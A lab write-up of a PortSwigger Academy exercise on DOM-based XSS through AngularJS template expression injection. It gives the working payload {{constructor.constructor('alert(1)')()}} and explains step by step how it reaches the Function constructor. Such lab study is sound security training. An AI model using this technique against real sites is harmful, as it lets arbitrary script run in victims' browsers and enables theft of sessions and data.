Skip to content

DOM-Based XSS — AngularJS Expression Injection

Field Value
Platform PortSwigger Web Security Academy
Vulnerability DOM-Based XSS — Client-Side Template Injection (CSTI)
Difficulty Practitioner
Framework AngularJS 1.7.7
Injection Point search parameter — reflected inside an ng-app scope
Goal Execute alert(1) via AngularJS template expression injection

What is AngularJS and Why is it Relevant to XSS?

AngularJS is a JavaScript framework that extends HTML with custom attributes called directives. The most important one for this lab is ng-app — any HTML element marked with ng-app becomes an AngularJS application boundary.

Inside an ng-app context, AngularJS scans the page for template expressions wrapped in double curly braces {{ }} and evaluates them as JavaScript:

<div ng-app>
    {{ 1 + 1 }}                      <!-- renders: 2 -->
    {{ 'hello'.toUpperCase() }}      <!-- renders: HELLO -->
</div>

If user input is reflected inside an ng-app element and angle brackets are encoded, {{ }} double curly braces become the attack surface — they don't need angle brackets to execute JavaScript.


Phase 1 — Reconnaissance

Checking the page with Wappalyzer reveals AngularJS 1.7.7 is in use:

Screenshot

Angle brackets are encoded in the search functionality — standard HTML tag injection is blocked. But AngularJS template expressions don't need angle brackets.


Phase 2 — Exploitation

/?search={{constructor.constructor('alert(1)')()}}
Screenshot

Alert fired. Lab solved.


How the Payload Works

Breaking down {{constructor.constructor('alert(1)')()}}:

{{
    constructor          // every object in JS has a .constructor property
    .constructor         // Function.constructor — the Function constructor itself
    ('alert(1)')         // creates a new Function with "alert(1)" as its body
    ()                   // immediately invokes that function
}}

The full execution chain:

AngularJS evaluates {{ ... }}
→ expression is JavaScript evaluated in AngularJS scope
→ constructor.constructor === Function
→ Function('alert(1)') creates: function() { alert(1) }
→ ()  invokes it immediately
→ alert(1) executes

constructor.constructor is a way to reach the Function constructor through the prototype chain — which allows executing arbitrary JavaScript as a string — without using any keywords that AngularJS's (now removed) sandbox might have blocked. In AngularJS 1.6+, the sandbox was removed entirely, making this technique straightforward.


Conclusion

  1. Wappalyzer identified AngularJS 1.7.7 as the client-side framework — the key piece of information that determined the correct attack approach.
  2. Angle brackets were encoded, blocking standard HTML tag injection.
  3. The search input was reflected inside an ng-app scope — AngularJS evaluates {{ }} expressions in that scope as JavaScript.
  4. {{constructor.constructor('alert(1)')()}} reached the Function constructor via the prototype chain and invoked it with alert(1) as the function body.